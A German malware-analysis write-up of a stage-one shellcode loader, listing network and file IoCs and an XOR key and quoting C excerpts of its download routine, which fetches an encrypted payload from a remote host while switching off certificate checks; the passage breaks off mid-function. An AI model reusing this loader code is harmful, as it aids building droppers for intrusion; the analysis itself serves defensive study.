
Analyse für Stage1-Shellcode-Loader aus dem Hacking-Bereich
Flussdiagramm des Codes
Netzwerk-IoC
https://172\[.]20\[.]20\[.]164
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MDDRJS)
Infektions-IoC (abgeworfene Dateien)
2s5s7k8w8b4i.dat
9z8o5d9l0p6c.dat
Ok, also was zum Teufel. Lass uns ran. Loader.sln oder loader.c.
Ok, also Start, und vom Start zu asm? Was passiert in asm? PIC (positionsunabhängiger Code) Shellcode. Cool, und was macht das? Im Grunde wird Loader(0xdeadbeef) aufgerufen. Warum?? Keine Ahnung, warum sie sich für diese Adresse entschieden haben, aber an dieser Adresse sollte entpackter Code liegen. Wie auch immer, lass uns weitermachen und sehen, was im Debugger passiert. Korrektur: Wir rufen Loader(eax) auf, und eax ist eine IP-Adresse mit einer .dat-Datei .png)
Wenn wir dem Fluss folgen, gelangen wir in den Loader

Für jetzt überspringen wir einfach LoadVtable, da es allgegenwärtig und groß ist, und kehren zurück, nachdem wir den Rest seiner Fähigkeiten analysiert haben. Jetzt untersuchen wir DownloadAndDecryptTls.
DownloadAndDecryptTls

Eine nette Sache, die mir beim Debugging auffällt.
Wie im oberen Bild und im folgenden Ausschnitt zu sehen ist,
DWORD dwFileSize;
LPBYTE lpFileBuffer = DownloadAndDecryptTls(&pVtable, lpLoaderConfig->strUserAgent,
lpLoaderConfig->strUrl,
&dwFileSize,
lpLoaderConfig->dwXorKey,
lpLoaderConfig->dwXorKey ? TRUE : FALSE);
wird lpLoaderConfig dynamisch abgerufen. Aber woher? Nun, anscheinend lädt es diese .dat-Datei herunter oder verwendet sie intern? Und was ist diese .dat-Datei? Beim Untersuchen des Archivs
sehen wir eine weitere coole Datei shellcode_0x95d. Wenn wir sie in hxd untersuchen
siehst du eine Reihe von API-Aufrufen und diese URL. Also ist das im Grunde der eigentliche Shellcode :) Super, wir werden ihn uns ansehen, wenn wir hiermit fertig sind.
Nur für später: Der XOR-Schlüssel ist 0x6281f17f. Nun zu einer kurzen Analyse bis zum interessanten Punkt ValidateCa. Bis dahin passiert in dieser Funktion nichts wirklich Besonderes; das Interessanteste ist der Aufruf von InternetOpenA, der die DLL für Netzwerkfunktionen initialisiert. Interessant wäre es, das dynamisch zu untersuchen, um einen Trick zu sehen, den sie angewendet haben. Sie tun es im C-Code mit
hOpen = lpTable->InternetOpenA(strUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
was ein Argument weniger ist, als die API normalerweise erwartet. Wie auch immer, genug geredet, schauen wir uns an, was im Code passiert.
Im Debugger sieht das also so aus
Ich vermute, was hier passiert, ist, dass es, weil es INTERNET_OPEN_TYPE_PRECONFIG verwendet, eine vorkonfigurierte Struktur nutzt und lptable die URL bereits enthält.
Wie auch immer, als Nächstes haben wir ValidateCA
Also, warum machen wir das? Weil es einfach bestimmt, ob wir HTTPS oder HTTP verwenden wollen.
DWORD dwHttpsFlag = 0;
if( ValidateCA(lpTable) )
dwHttpsFlag = INTERNET_FLAG_SECURE;
else
dwHttpsFlag = INTERNET_FLAG_SECURE|INTERNET_FLAG_IGNORE_CERT_CN_INVALID|INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
Dann machen wir eine einfache GET-Anfrage und laden anschließend die Datei per HTTP herunter. Nichts Besonderes hier. Falls du dich fragst, ob der Code hier irgendetwas Besonderes ist: Ich glaube nicht; wahrscheinlich findet man im Internet Beispiele, wie man das macht. Wie lädt die Funktion DownloadFile Dateien herunter? Mittels InternetReadFileExA.
Wie auch immer, hier ist der Code:
if( hOpen )
{
hConnect = lpTable->fpInternetConnect(hOpen, serverName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0 );
if( hConnect )
{
hReq = lpTable->fpHttpOpenRequest(hConnect, strGet, strResource, strHTTPVersion, NULL, NULL, dwHttpsFlag, 0 );
if( hReq )
{
if( !ValidateCA(lpTable) )
{
DWORD dwFlags;
dwBuffLen = sizeof(dwFlags);
lpTable->fpInternetQueryOption(hReq, INTERNET_OPTION_SECURITY_FLAGS,(LPVOID)&dwFlags, &dwBuffLen);
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
lpTable->fpInternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
}
if( lpTable->fpHttpSendRequest(hReq, NULL, 0, NULL, 0) )
{
dwBuffLen = 16;
dwIdx = 0;
lpTable->HttpQueryInfoW(hReq, HTTP_QUERY_CONTENT_LENGTH, strBuff, &dwBuffLen, &dwIdx);
*dwFileLen = lpTable->wtoi((LPWSTR) strBuff);